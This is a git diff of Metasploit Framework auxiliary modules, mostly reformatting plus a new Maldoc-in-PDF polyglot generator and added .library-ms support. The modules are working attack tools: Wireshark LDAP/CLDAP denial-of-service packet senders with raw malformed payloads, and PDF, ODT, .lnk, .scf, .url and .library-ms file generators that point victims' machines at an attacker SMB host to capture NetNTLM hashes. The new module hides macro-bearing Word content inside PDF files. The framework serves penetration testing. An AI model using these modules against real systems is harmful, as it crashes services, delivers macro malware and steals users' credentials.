"\x0d\x0a\x0d\x0a\x30\x0d\x0a\x0d\x0a" + p.payload = "\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x33\x30\x32\x20\x46\x6f\x75" \ + "\x6e\x64\x0d\x0a\x44\x61\x74\x65\x3a\x20\x54\x68\x75\x2c\x20\x32" \ + "\x32\x20\x46\x65\x62\x20\x32\x30\x30\x37\x20\x32\x31\x3a\x35\x39" \ + "\x3a\x30\x33\x20\x47\x4d\x54\x0d\x0a\x53\x65\x72\x76\x65\x72\x3a" \ + "\x20\x41\x70\x61\x63\x68\x65\x2f\x31\x2e\x33\x2e\x33\x37\x20\x28" \ + "\x55\x6e\x69\x78\x29\x20\x50\x48\x50\x2f\x34\x2e\x34\x2e\x34\x20" \ + "\x6d\x6f\x64\x5f\x74\x68\x72\x6f\x74\x74\x6c\x65\x2f\x33\x2e\x31" \ + "\x2e\x32\x20\x6d\x6f\x64\x5f\x70\x73\x6f\x66\x74\x5f\x74\x72\x61" \ + "\x66\x66\x69\x63\x2f\x30\x2e\x31\x20\x6d\x6f\x64\x5f\x73\x73\x6c" \ + "\x2f\x32\x2e\x38\x2e\x32\x38\x20\x4f\x70\x65\x6e\x53\x53\x4c\x2f" \ + "\x30\x2e\x39\x2e\x36\x62\x20\x46\x72\x6f\x6e\x74\x50\x61\x67\x65" \ + "\x2f\x35\x2e\x30\x2e\x32\x2e\x32\x36\x33\x35\x0d\x0a\x58\x2d\x50" \ + "\x6f\x77\x65\x72\x65\x64\x2d\x42\x79\x3a\x20\x50\x48\x50\x2f\x34" \ + "\x2e\x34\x2e\x34\x0d\x0a\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20" \ + "\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31" \ + "\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x0d\x0a\x50\x33\x50" \ + "\x3a\x20\x70\x6f\x6c\x69\x63\x79\x72\x65\x66\x3d\x22\x68\x74\x74" \ + "\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x77\x33" \ + "\x63\x2f\x70\x33\x70\x2e\x78\x6d\x6c\x22\x2c\x20\x43\x50\x3d\x22" \ + "\x4e\x4f\x49\x20\x44\x53\x50\x20\x43\x4f\x52\x20\x4e\x49\x44\x20" \ + "\x41\x44\x4d\x20\x44\x45\x56\x20\x50\x53\x41\x20\x4f\x55\x52\x20" \ + "\x49\x4e\x44\x20\x55\x4e\x49\x20\x50\x55\x52\x20\x43\x4f\x4d\x20" \ + "\x4e\x41\x56\x20\x49\x4e\x54\x20\x53\x54\x41\x22\x0d\x0a\x45\x78" \ + "\x70\x69\x72\x65\x73\x3a\x20\x54\x68\x75\x2c\x20\x31\x39\x20\x4e" \ + "\x6f\x76\x20\x31\x39\x38\x31\x20\x30\x38\x3a\x35\x32\x3a\x30\x30" \ + "\x20\x47\x4d\x54\x0d\x0a\x50\x72\x61\x67\x6d\x61\x3a\x20\x6e\x6f" \ + "\x2d\x63\x61\x63\x68\x65\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" \ + "\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x20\x61\x74\x74" \ + "\x61\x63\x68\x6d\x65\x6e\x74\x3b\x20\x66\x69\x6c\x65\x6e\x61\x6d" \ + "\x65\x3d\x53\x74\x61\x74\x43\x6f\x75\x6e\x74\x65\x72\x2d\x4c\x6f" \ + "\x67\x2d\x32\x32\x38\x37\x35\x39\x32\x2e\x63\x73\x76\x0d\x0a\x53" \ + "\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x50\x48\x50\x53\x45" \ + "\x53\x53\x49\x44\x3d\x64\x37\x35\x65\x64\x39\x37\x36\x66\x30\x30" \ + "\x39\x64\x61\x31\x31\x38\x65\x62\x36\x31\x34\x62\x39\x38\x66\x64" \ + "\x35\x62\x39\x31\x36\x25\x33\x42\x2b\x70\x61\x74\x68\x25\x33\x44" \ + "\x25\x32\x46\x0d\x0a\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x3a" \ + "\x20\x74\x69\x6d\x65\x6f\x75\x74\x3d\x31\x35\x2c\x20\x6d\x61\x78" \ + "\x3d\x31\x30\x30\x0d\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e" \ + "\x3a\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x54\x72" \ + "\x61\x6e\x73\x66\x65\x72\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a" \ + "\x20\x63\x68\x75\x6e\x6b\x65\x64\x0d\x0a\x43\x6f\x6e\x74\x65\x6e" \ + "\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74" \ + "\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d" \ + "\x0d\x0a\x0d\x0a\x30\x0d\x0a\x0d\x0a" p.recalc capture_sendto(p, rhost) diff --git a/modules/auxiliary/dos/wireshark/cldap.rb b/modules/auxiliary/dos/wireshark/cldap.rb index 108dccdf1ef03..da521a12b1ce7 100644 --- a/modules/auxiliary/dos/wireshark/cldap.rb +++ b/modules/auxiliary/dos/wireshark/cldap.rb @@ -8,22 +8,30 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super( update_info(info, - 'Name' => 'Wireshark CLDAP Dissector DOS', - 'Description' => %q{ - This module causes infinite recursion to occur within the - CLDAP dissector by sending a specially crafted UDP packet. - }, - 'Author' => ['joernchen (Phenoelit)'], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Wireshark CLDAP Dissector DOS', + 'Description' => %q{ + This module causes infinite recursion to occur within the + CLDAP dissector by sending a specially crafted UDP packet. + }, + 'Author' => ['joernchen (Phenoelit)'], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2011-1140'], [ 'OSVDB', '71552'], [ 'URL', 'https://www.wireshark.org/security/wnpa-sec-2011-04.html' ], [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ], ], - 'DisclosureDate' => '2011-03-01')) + 'DisclosureDate' => '2011-03-01', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptInt.new('RPORT', [true, 'The destination port', 389]), @@ -33,15 +41,15 @@ def initialize(info = {}) def run connect_udp - cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81"+ - "\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81"+ - "\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9"+ - "\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f"+ - "\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43"+ - "\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e"+ - "\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0"+ - "\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07"+ - "\x0a\x01\x00\x04\x00\x04\x00" + cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81" \ + "\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81" \ + "\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9" \ + "\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f" \ + "\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43" \ + "\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e" \ + "\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0" \ + "\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07" \ + "\x0a\x01\x00\x04\x00\x04\x00" print_status("Sending malformed CLDAP packet to #{rhost}") udp_sock.put(cldap_payload) end diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb index 6297be8c33adc..797fb428018e2 100644 --- a/modules/auxiliary/dos/wireshark/ldap.rb +++ b/modules/auxiliary/dos/wireshark/ldap.rb @@ -9,30 +9,34 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Wireshark LDAP Dissector DOS', + 'Name' => 'Wireshark LDAP Dissector DOS', 'Description' => %q{ - The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers - to cause a denial of service (application crash) via a malformed packet. + The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers + to cause a denial of service (application crash) via a malformed packet. }, - 'Author' => ['MC'], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2008-1562' ], - [ 'OSVDB', '43840' ], - ], - 'DisclosureDate' => 'Mar 28 2008') + 'Author' => ['MC'], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2008-1562' ], + [ 'OSVDB', '43840' ], + ], + 'DisclosureDate' => 'Mar 28 2008', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) register_options([ OptInt.new('RPORT', [true, 'The destination port', 389]), OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]) ]) - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER', 'PCAPFILE') end def run - open_pcap print_status("Sending malformed LDAP packet to #{rhost}") @@ -52,6 +56,5 @@ def run capture_sendto(p, rhost) close_pcap - end end diff --git a/modules/auxiliary/fileformat/badpdf.rb b/modules/auxiliary/fileformat/badpdf.rb index d9c224fa0e0b5..d14e395c2a12d 100644 --- a/modules/auxiliary/fileformat/badpdf.rb +++ b/modules/auxiliary/fileformat/badpdf.rb @@ -7,27 +7,33 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT def initialize(info = {}) - super(update_info(info, - 'Name' => 'BADPDF Malicious PDF Creator', - 'Description' => ' + super( + update_info( + info, + 'Name' => 'BADPDF Malicious PDF Creator', + 'Description' => %q{ This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible. - ', - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Assaf Baharav', # Code provided as POC by CheckPoint - 'Yaron Fruchtmann', # Code provided as POC by CheckPoint - 'Ido Solomon', # Code provided as POC by CheckPoint - 'Richard Davy - secureyourit.co.uk', # Metasploit - ], - 'Platform' => ['win'], - 'References' => - [ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Assaf Baharav', # Code provided as POC by CheckPoint + 'Yaron Fruchtmann', # Code provided as POC by CheckPoint + 'Ido Solomon', # Code provided as POC by CheckPoint + 'Richard Davy - secureyourit.co.uk', # Metasploit + ], + 'Platform' => ['win'], + 'References' => [ ['CVE', '2018-4993'], ['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/'] - ]) + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) ) register_options( [ diff --git a/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb b/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb new file mode 100644 index 0000000000000..85710bc4c213f --- /dev/null +++ b/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb @@ -0,0 +1,216 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Maldoc in PDF Polyglot converter', + 'Description' => %q{ + A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file + structure of PDF. + + If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors. + + The attack does not bypass configured macro locks. And the malicious macros are also not executed when the + file is opened in PDF readers or similar software. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/) + ], + 'Platform' => ['win'], + 'References' => [ + ['URL', 'https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html'], + ['URL', 'https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/'], + ['URL', 'https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/'], + ['URL', 'https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + OptPath.new('FILENAME', [true, 'The input MHT filename with macro embedded']), + OptPath.new('INJECTED_PDF', [false, 'The input PDF filename to inject in (optional)']), + OptString.new('MESSAGE_PDF', [false, 'The message to display in the local PDF template (if INJECTED_PDF is NOT used)', 'You must open this document in Microsoft Word']), + OptEnum.new('OUTPUT_EXT', [true, 'The output file extension', '.doc', ['.doc', '.rtf']]) + ] + ) + end + + def create_pdf(mht) + pdf = '' + pdf << "#{rand_pdfheader}\r\n" + + # item 1 (catalog) + pdf << "1 0 obj\r\n" + pdf << "<< /Type /Catalog /Pages 2 0 R >>\r\n" + pdf << "endobj\r\n" + + # item 2 (pages) + pdf << "2 0 obj\r\n" + pdf << "<< /Type /Pages /Kids [3 0 R] /Count 1 >>\r\n" + pdf << "endobj\r\n" + + # item 3 (page with resources) + pdf << "3 0 obj\r\n" + pdf << "<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 612 792] /Contents 4 0 R >>\r\n" + pdf << "endobj\r\n" + + # item 4 (content) + content = "BT /F1 12 Tf 100 700 Td (#{datastore['MESSAGE_PDF']}) Tj ET\r\n" + pdf << "4 0 obj\r\n" + # exact stream length + pdf << "<< /Length #{content.length} >>\r\n" + pdf << "stream\r\n" + pdf << content + pdf << "endstream\r\n" + pdf << "endobj\r\n" + + # item 5 (helvetica font) + pdf << "5 0 obj\r\n" + pdf << "<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\r\n" + pdf << "endobj\r\n" + + # item 6 (MHT content) + pdf << "6 0 obj\r\n" + pdf << "<< /Length #{mht.length} >>\r\n" + pdf << "stream\r\n" + pdf << mht + pdf << "\r\nendstream\r\n" + pdf << "endobj\r\n" + + # calculation of dynamic offsets + offsets = [] + offsets << 0 + for i in 1..6 do + offsets << pdf.index("#{i} 0 obj") + end + + # XREF section + xref_start = pdf.length + pdf << "xref\r\n" + # update for 7 objects (0-6) + pdf << "0 7\r\n" + pdf << "0000000000 65535 f\r\n" + offsets[1..].each do |offset| + pdf << format("%010d 00000 n\r\n", offset) + end + + # trailer + pdf << "trailer\r\n" + # update for 7 objects (0-6) + pdf << "<< /Size 7 /Root 1 0 R >>\r\n" + pdf << "startxref\r\n" + pdf << "#{xref_start}\r\n" + pdf << "%%EOF\r\n" + + # saving the file + ltype = "auxiliary.fileformat.#{shortname}" + fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT'] + path = store_local(ltype, nil, pdf, fname) + + print_good("The file '#{fname}' is stored at '#{path}'") + end + + def inject_pdf(pdf_path, mht) + # read PDF in binary mode + pdf_data = File.binread(pdf_path) + vprint_status("PDF data length: #{pdf_data.length}") + + # find the position of 'startxref' + startxref_index = pdf_data.rindex('startxref') + unless startxref_index + fail_with(Failure::Unknown, 'Invalid PDF: \'startxref\' not found') + end + + xref_start_value = pdf_data[startxref_index..].match(/startxref\r?\n(\d+)/)[1].to_i + vprint_status("PDF startxref value: #{xref_start_value}") + vprint_status("PDF startxref position: #{startxref_index}") + + # extract the original objects + original_objects = pdf_data[0...startxref_index] + + # build the MHT object as the first object (0 0 obj) + mht_object = '' + mht_object << "0 0 obj\r\n" + mht_object << "<< /Length #{mht.length} >>\r\n" + mht_object << "stream\r\n" + mht_object << mht + mht_object << "\r\nendstream\r\n" + mht_object << "endobj\r\n" + + # combine: MHT first, then original items + updated_objects = mht_object + original_objects + + # calculate offsets for XREF section + offsets = [] + updated_objects.scan(/(\d+) 0 obj/) do |match| + offsets << updated_objects.index("#{match[0]} 0 obj") + end + + # build the XREF section + xref = "xref\r\n" + # includes free entry (0) and items + xref << "0 #{offsets.size + 1}\r\n" + # free entry + xref << "0000000000 65535 f\r\n" + offsets.each do |offset| + xref << format("%010d 00000 n\r\n", offset) + end + + # build the trailer + xref_start_new = updated_objects.length + trailer = "trailer\r\n" + trailer << "<< /Size #{offsets.size + 1} /Root 1 0 R >>\r\n" + trailer << "startxref\r\n" + trailer << "#{xref_start_new}\r\n" + trailer << "%%EOF\r\n" + + # assemble the final PDF + headers = "#{rand_pdfheader}\r\n" + pdf = headers + updated_objects + xref + trailer + + # saving the file + ltype = "auxiliary.fileformat.#{shortname}" + fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT'] + path = store_local(ltype, nil, pdf, fname) + + print_good("The file '#{fname}' is stored at '#{path}'") + end + + def rand_pdfheader + selected_version = ['1.0', '1.1', '1.2', '1.3', '1.4', '1.5', '1.6', '1.7', '2.0'].sample + + "%PDF-#{selected_version}" + end + + def run + content = File.read(datastore['FILENAME']) + fail_with(Failure::BadConfig, 'The MHT file content is empty') if content&.empty? + + # if no pdf injected is provided, create new PDF from template + if datastore['INJECTED_PDF'].blank? + print_status('INJECTED_PDF not provided, creating the PDF from scratch') + fail_with(Failure::BadConfig, 'No MESSAGE_PDF provided') if datastore['MESSAGE_PDF'].blank? + + create_pdf(content) + else + print_status("PDF creation using '#{File.basename(datastore['INJECTED_PDF'])}' as template") + + inject_pdf(datastore['INJECTED_PDF'], content) + end + end + +end diff --git a/modules/auxiliary/fileformat/multidrop.rb b/modules/auxiliary/fileformat/multidrop.rb index 687edce1cab05..6df9dd9ae3a92 100644 --- a/modules/auxiliary/fileformat/multidrop.rb +++ b/modules/auxiliary/fileformat/multidrop.rb @@ -3,107 +3,117 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows SMB Multi Dropper', - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows SMB Multi Dropper', + 'Description' => %q{ This module dependent on the given filename extension creates either - a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference - to the specified remote host, causing SMB connections to be initiated - from any user that views the file. + a .lnk, .scf, .url, .xml, .library-ms, or desktop.ini file which includes + a reference to the specified remote host, causing SMB connections to be + initiated from any user that views the file. }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy - 'Lnk Creation Code by Mubix', #Lnk Creation Code written by Mubix - 'asoto-r7' #Word XML creation code - ], - 'Platform' => [ 'win' ], - 'References' => - [ + 'License' => MSF_LICENSE, + 'Author' => [ + 'Richard Davy - secureyourit.co.uk', # Module written by Richard Davy + 'mubix', # Lnk Creation Code written by Mubix + 'asoto-r7', # Word XML creation code + 'hyp3rlinx', # .library-ms technique + 'bcoles', # Added .library-ms support + ], + 'Platform' => [ 'win' ], + 'References' => [ ['URL', 'https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018'], ['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/'], ['URL', 'https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/'], - ] - - )) + ['URL', 'https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt'], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]), - OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, *.xml, desktop.ini", "word.lnk"]), - ]) + OptAddress.new('LHOST', [ true, 'Host listening for incoming SMB/WebDAV traffic', nil]), + OptString.new('FILENAME', [ true, 'Filename - supports *.lnk, *.scf, *.url, *.xml, *.library-ms, desktop.ini', 'word.lnk']), + ] + ) end def run - if datastore['FILENAME'].chars.last(3).join=="lnk" - createlnk - elsif datastore['FILENAME'].chars.last(3).join=="scf" - createscf - elsif datastore['FILENAME']=="desktop.ini" - create_desktopini - elsif datastore['FILENAME'].chars.last(3).join=="url" - create_url - elsif datastore['FILENAME'].chars.last(3).join=="xml" - create_xml + if datastore['FILENAME'].chars.last(3).join == 'lnk' + createlnk + elsif datastore['FILENAME'].chars.last(3).join == 'scf' + createscf + elsif datastore['FILENAME'] == 'desktop.ini' + create_desktopini + elsif datastore['FILENAME'].chars.last(3).join == 'url' + create_url + elsif datastore['FILENAME'].chars.last(3).join == 'xml' + create_xml + elsif datastore['FILENAME'].ends_with?('.library-ms') + create_libraryms else - fail_with(Failure::BadConfig,"Invalid FILENAME option") + fail_with(Failure::BadConfig, 'Invalid FILENAME option') end end def createlnk - #Code below taken from module droplnk.rb written by Mubix - lnk = "" - lnk << "\x4c\x00\x00\x00" #Header size - lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" #Link CLSID + # Code below taken from module droplnk.rb written by Mubix + lnk = '' + lnk << "\x4c\x00\x00\x00" # Header size + lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" # Link CLSID lnk << "\xc0\x00\x00\x00\x00\x00\x00\x46" - lnk << "\xdb\x00\x00\x00" #Link flags - lnk << "\x20\x00\x00\x00" #File attributes - lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Creation time - lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Access time - lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Write time - lnk << "\x00\x00\x00\x00" #File size - lnk << "\x00\x00\x00\x00" #Icon index - lnk << "\x01\x00\x00\x00" #Show command - lnk << "\x00\x00" #Hotkey - lnk << "\x00\x00" #Reserved - lnk << "\x00\x00\x00\x00" #Reserved - lnk << "\x00\x00\x00\x00" #Reserved - lnk << "\x7b\x00" #IDListSize - #sIDList + lnk << "\xdb\x00\x00\x00" # Link flags + lnk << "\x20\x00\x00\x00" # File attributes + lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Creation time + lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Access time + lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Write time + lnk << "\x00\x00\x00\x00" # File size + lnk << "\x00\x00\x00\x00" # Icon index + lnk << "\x01\x00\x00\x00" # Show command + lnk << "\x00\x00" # Hotkey + lnk << "\x00\x00" # Reserved + lnk << "\x00\x00\x00\x00" # Reserved + lnk << "\x00\x00\x00\x00" # Reserved + lnk << "\x7b\x00" # IDListSize + # sIDList lnk << "\x14\x00\x1f\x50\xe0\x4f\xd0\x20" lnk << "\xea\x3a\x69\x10\xa2\xd8\x08\x00" lnk << "\x2b\x30\x30\x9d\x19\x00\x2f" - lnk << "C:\\" + lnk << 'C:\\' lnk << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" lnk << "\x00\x00\x00\x4c\x00\x32\x00\x00\x00\x00\x00\x7d\x3f\x5b\x15\x20" lnk << "\x00" - lnk << "AUTOEXEC.BAT" + lnk << 'AUTOEXEC.BAT' lnk << "\x00\x00\x30\x00\x03\x00\x04\x00\xef\xbe\x7d\x3f\x5b\x15\x7d\x3f" lnk << "\x5b\x15\x14\x00\x00\x00" - lnk << Rex::Text.to_unicode("AUTOEXEC.BAT") + lnk << Rex::Text.to_unicode('AUTOEXEC.BAT') lnk << "\x00\x00\x1c\x00\x00\x00" - #sLinkInfo + # sLinkInfo lnk << "\x3e\x00\x00\x00\x1c\x00\x00\x00\x01\x00" lnk << "\x00\x00\x1c\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x3d\x00" lnk << "\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x3e\x77\xbf\xbc\x10\x00" lnk << "\x00\x00\x00" - lnk << "C:\\AUTOEXEC.BAT" + lnk << 'C:\\AUTOEXEC.BAT' lnk << "\x00\x00\x0e\x00" - #RELATIVE_PATH - lnk << Rex::Text.to_unicode(".\\AUTOEXEC.BAT") + # RELATIVE_PATH + lnk << Rex::Text.to_unicode('.\\AUTOEXEC.BAT') lnk << "\x03\x00" - #WORKING_DIR - lnk << Rex::Text.to_unicode("C:\\") - #ICON LOCATION + # WORKING_DIR + lnk << Rex::Text.to_unicode('C:\\') + # ICON LOCATION lnk << "\x1c\x00" lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\icon.ico") lnk << "\x00\x00\x03\x00\x00\xa0\x58\x00\x00\x00\x00\x00\x00\x00" - lnk << "computer" + lnk << 'computer' lnk << "\x00\x00\x00\x00\x00\x00\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0" lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48" lnk << "\x08\x00\x27\x6f\xe3\x1f\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0" @@ -114,27 +124,27 @@ def createlnk end def createscf - scf="" + scf = '' scf << "[Shell]\n" scf << "Command=2\n" scf << "IconFile=\\\\#{datastore['LHOST']}\\test.ico\n" scf << "[Taskbar]\n" - scf << "Command=ToggleDesktop" + scf << 'Command=ToggleDesktop' file_create(scf) end def create_desktopini - ini="" + ini = '' ini << "[.ShellClassInfo]\n" ini << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n" - ini << "IconIndex=1337" + ini << 'IconIndex=1337' file_create(ini) end def create_url - url="" + url = '' url << "[InternetShortcut]\n" url << "URL=file://#{datastore['LHOST']}/url.html\n" url << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n" @@ -142,14 +152,49 @@ def create_url file_create(url) end + def create_libraryms + xml = '' + xml << '' + xml << '' + xml << '@shell32.dll,-34575' + xml << 'S-1-5-21-372074477-2495183225-776587326-1000' + xml << '1' + xml << 'true' + xml << "\\\\#{datastore['LHOST']}\\icon.ico" + xml << '' + xml << '{7d49d726-3c21-4f05-99aa-fdc2c9474656}' + xml << '' + xml << '' + xml << '' + xml << '@shell32.dll,-34577' + xml << 'true' + xml << '' + xml << 'knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}' + xml << 'MBAAAEAFCAAA...MFNVAAAAAA' + xml << '' + xml << '' + xml << '' + xml << '@shell32.dll,-34579' + xml << 'true' + xml << '' + xml << 'knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634}' + xml << 'MBAAAEAFCAAA...HJIfK9AAAAAA' + xml << '' + xml << '' + xml << '' + xml << '' + + file_create(xml) + end + def create_xml - xml="" + xml = '' xml << "" xml << "" xml << "" - xml << "" - xml << " FATAL ERROR: The document failed to render properly." - xml << "" + xml << '' + xml << ' FATAL ERROR: The document failed to render properly.' + xml << '' file_create(xml) end diff --git a/modules/auxiliary/fileformat/odt_badodt.rb b/modules/auxiliary/fileformat/odt_badodt.rb index 3e83a083dcc22..5f99581171c60 100644 --- a/modules/auxiliary/fileformat/odt_badodt.rb +++ b/modules/auxiliary/fileformat/odt_badodt.rb @@ -11,88 +11,83 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator', - 'Description' => 'Generates a Malicious ODT File which can be used with auxiliary/server/capture/smb or similar to capture hashes.', - 'Author' => 'Richard Davy - secureyourit.co.uk', - 'References' => - [ - ['CVE', '2018-10583'], - ['URL', 'https://secureyourit.co.uk/wp/2018/05/01/creating-malicious-odt-files/'], - ], + 'Name' => 'LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator', + 'Description' => 'Generates a Malicious ODT File which can be used with auxiliary/server/capture/smb or similar to capture hashes.', + 'Author' => 'Richard Davy - secureyourit.co.uk', + 'References' => [ + ['CVE', '2018-10583'], + ['URL', 'https://secureyourit.co.uk/wp/2018/05/01/creating-malicious-odt-files/'], + ], 'DisclosureDate' => 'May 01 2018', - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE ) register_options([ - OptString.new('FILENAME', [true, 'Filename for the new document', 'bad.odt']), - OptString.new('CREATOR', [true, 'Document author for new document', 'RD_PENTEST']), - OptAddressLocal.new('LHOST', [true, 'IP Address of SMB Listener that the .odt document points to', '']) - ]) - + OptString.new('FILENAME', [true, 'Filename for the new document', 'bad.odt']), + OptString.new('CREATOR', [true, 'Document author for new document', 'RD_PENTEST']), + OptAddressLocal.new('LHOST', [true, 'IP Address of SMB Listener that the .odt document points to', '']) + ]) end 